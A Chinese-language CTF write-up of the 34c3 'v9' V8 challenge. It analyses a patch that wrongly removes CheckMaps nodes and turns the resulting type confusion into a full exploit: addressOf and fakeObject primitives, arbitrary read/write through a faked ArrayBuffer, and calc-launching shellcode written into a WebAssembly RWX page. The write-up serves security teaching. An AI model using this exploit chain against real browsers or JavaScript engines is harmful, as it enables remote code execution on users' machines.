# 34c3 v9 ## 题目分析 题目给了一个`patch`​文件,在`redundancy-elimination`​阶段增加一个对`kCheckMaps`​的优化: ```cc diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc index b91b82e766..02c1e71203 100644 --- a/src/compiler/redundancy-elimination.cc +++ b/src/compiler/redundancy-elimination.cc @@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) { case IrOpcode::kCheckHeapObject: case IrOpcode::kCheckIf: case IrOpcode::kCheckInternalizedString: + case IrOpcode::kCheckMaps: case IrOpcode::kCheckNotTaggedHole: case IrOpcode::kCheckNumber: case IrOpcode::kCheckReceiver: @@ -158,8 +159,8 @@ bool CheckSubsumes(Node const* a, Node const* b) { case IrOpcode::kCheckedUint32ToInt32: case IrOpcode::kCheckedUint32ToTaggedSigned: case IrOpcode::kCheckedUint64Bounds: - case IrOpcode::kCheckedUint64ToInt32: case IrOpcode::kCheckedUint64ToTaggedSigned: + case IrOpcode::kCheckedUint64ToInt32: break; case IrOpcode::kCheckedFloat64ToInt32: case IrOpcode::kCheckedFloat64ToInt64: @@ -188,6 +189,15 @@ bool CheckSubsumes(Node const* a, Node const* b) { } break; } + case IrOpcode::kCheckMaps: { + // CheckMaps are compatible if the first checks a subset of the second. + ZoneHandleSet const& a_maps = CheckMapsParametersOf(a->op()).maps(); + ZoneHandleSet const& b_maps = CheckMapsParametersOf(b->op()).maps(); + if (!b_maps.contains(a_maps)) { + return false; + } + break; + } default: DCHECK(!IsCheckedWithFeedback(a->op())); return false; ``` 由于某些原因,拿不到对应版本的源码,这里用最新版源码分析逻辑过程。首先在函数`Reduction RedundancyElimination::Reduce(Node* node)`​中,添加的`case IrOpcode::kCheckMaps`​会调用`ReduceCheckNode(node)`​: ```cc Reduction RedundancyElimination::ReduceCheckNode(Node* node) { Node* const effect = NodeProperties::GetEffectInput(node); EffectPathChecks const* checks = node_checks_.Get(effect); // If we do not know anything about the predecessor, do not propagate just yet // because we will have to recompute anyway once we compute the predecessor. if (checks == nullptr) return NoChange(); // See if we have another check that dominates us. if (Node* check = checks->LookupCheck(node, jsgraph_)) { ReplaceWithValue(node, check); return Replace(check); } // Learn from this check. return UpdateChecks(node, checks->AddCheck(zone(), node)); } ``` 在`ReduceCheckNode(node)`​通过`checks->LookupCheck(node, jsgraph_)`​判断是否存在`check`​可以代替当前结点的`check`​: ```js Node* RedundancyElimination::EffectPathChecks::LookupCheck( Node* node, JSGraph* jsgraph) const { for (Check const* check = head_; check != nullptr; check = check->next) { Subsumption subsumption = CheckSubsumes(check->node, node, jsgraph->machine()); if (!subsumption.IsNone() && TypeSubsumes(node, check->node)) { DCHECK(!check->node->IsDead()); Node* result = check->node; if (subsumption.IsWithConversion()) { result = jsgraph->graph()->NewNode(subsumption.conversion_operator(), result); } return result; } } return nullptr; } ``` 进入`LookupCheck`​后,遍历`check`​链,大致意思是通过`CheckSubsumes`​判断`check`​链上是否有结点包含当前传入结点的判断条件,如果有的话则用该`check`​结点代替当前结点的`check`​结点: ```cc // Does check {a} subsume check {b}? Subsumption CheckSubsumes(Node const* a, Node const* b, MachineOperatorBuilder* machine) { case IrOpcode::kCheckMaps: { // CheckMaps are compatible if the first checks a subset of the second. ZoneHandleSet const& a_maps = CheckMapsParametersOf(a->op()).maps(); ZoneHandleSet const& b_maps = CheckMapsParametersOf(b->op()).maps(); if (!b_maps.contains(a_maps)) { return false; } break; } } ``` 总结来看,这个优化是对`CheckMaps`​结点的优化,在图上存在`CheckMaps`​结点包含关系时,会消除被包含的结点。而如果两个结点之间对`Map`​进行了修改,则会因为缺少被删除的`CheckMaps`​结点,导致类型混淆。 ## 漏洞分析 具体来看一个例子: ```js let a = [.1]; function trigger(callback) { a[0]; callback(); return a[0]; } trigger(() => { }); %OptimizeFunctionOnNextCall(trigger); trigger(() => { }); ``` 在两次调用`a[0]`​前,会生成`CheckMaps`​结点: ​![image](assets/image-20240922235447-x1r5sx5.png)​ 由于`callback()`​始终未修改`a[0]`​的类型,即第一个`CheckMaps`​包含第二个`CheckMaps`​的判断情况,因此在`LoadEliminationPhase`​将第二个结点删除: ‍ ​![image](assets/image-20240922235530-mkfi9fh.png)​ 而如果在优化后,传入修改`a[0]`​类型的函数,由于返回之前缺少`CheckMaps`​检查,后续代码仍是优化后的,将`a[0]`​视作`double`​类型进行处理的机器码,因此会造成类型混淆。 ## 漏洞利用 ### 原语构造 据上述分析,我们可以构造出`addressOf`​和`fakeObject`​原语: ```js function addressOf(obj) { let a = [.1]; function trigger(callback) { a[0]; callback(); return a[0]; } for(let i = 0; i <= 100000; ++i) { trigger(() => { }); } return d2u( trigger(() => { a[0] = obj; } )); } function fakeObject(addr) { let a = [.1]; function trigger(callback) { a[0]; callback(); a[0] = addr; } for(let i = 0; i <= 100000; ++i) { trigger(() => { }); } trigger(() => { a[0] = {}; }); return a[0]; } ``` 我们使用如下代码进行测试: ```js var oob_array = [.1, .2]; addr = addressOf(array_buffer); print("[*] Address of array_buffer: " + hex(addr)); var obj = fakeObject(u2d(addr)); %DebugPrint(array_buffer); ``` 但是这与我们预期结果不同,原因是由于GC的行为,代码执行时会在第二次调用原语时导致传入的对象被移动到内存的其他位置,造成地址的不同: ```sh v8@ubuntu:~/games/JIT/34c3_v9/exp$ ../x64.release/d8 ./test.js --allow-natives-syntax [*] Address of array_buffer: 0x000031621820bf81 0x1186d6682cf9 ``` 我们需要首先消除GC的这种影响: ```sh function gc() { for (let i = 0; i < 0x10; i++) { new Array(0x100000); } } ``` 之后的利用步骤类似于StarCTF2019 OOB,直接给出exp: ```js function gc() { for (let i = 0; i < 0x10; i++) { new Array(0x100000); } } let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer); function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); } function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); } function hex(val) { return '0x' + val.toString(16).padStart(16, "0"); } function addressOf(obj) { let a = [.1]; function trigger(callback) { a[0]; callback(); return a[0]; } for(var i = 0; i < 100000; ++i) { trigger(() => { }); } function evil_callback() { a[0] = obj; } return d2u(trigger(evil_callback)); } function addressOf2(obj) { let a = [.1]; function trigger(callback) { a[0]; callback(); return a[0]; } for(var i = 0; i < 100000; ++i) { trigger(() => { }); } function evil_callback() { a[0] = obj; } return d2u(trigger(evil_callback)); } function fakeObject(addr) { let a = [.1]; function trigger(callback) { a[0]; callback(); a[0] = addr; } function evil_callback() { a[0] = {}; } for(var i = 0; i < 100000; ++i) { trigger(() => { }); } trigger(evil_callback); return a[0]; } ab = new ArrayBuffer(0x1000); gc(); var float_ab_mem = [ u2d(0n), // Map u2d(0n), // Properties u2d(0n), // Elements u2d(0x1000n), // ByteLength u2d(0n), // BackingStore u2d(0n), // Map u2d(0x1900042317080808n), // Type ]; gc(); // %DebugPrint(array_buffer); // %DebugPrint(float_ab_mem); var fake_ab_addr = addressOf(float_ab_mem) + 0x30n; float_ab_mem[0] = u2d(fake_ab_addr + 0x28n); // %SystemBreak(); var fake_ab = fakeObject(u2d(fake_ab_addr)); var fake_dv = new DataView(fake_ab); function arb_read_qword(addr) { float_ab_mem[4] = u2d(addr); return fake_dv.getBigUint64(0, true); } function arb_write_qword(addr, value) { float_ab_mem[4] = u2d(addr); return fake_dv.setBigUint64(0, value, true); } let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code)); let f = wasm_mod.exports.main; var rwx_mem_addr = arb_read_qword(addressOf2(wasm_mod) - 1n + 0x88n); print("[*] rwx mem addr: " + hex(rwx_mem_addr)); var shellcode = [ 0x636c6163782fb848n, 0x73752fb848500000n, 0x8948506e69622f72n, 0x89485750c03148e7n, 0x3ac0c748d23148e6n, 0x4944b84850000030n, 0x48503d59414c5053n, 0x485250c03148e289n, 0x00003bc0c748e289n, 0x0000000000050f00n ] for (let i = 0; i < shellcode.length; i++) { arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]); } f(); ``` ‍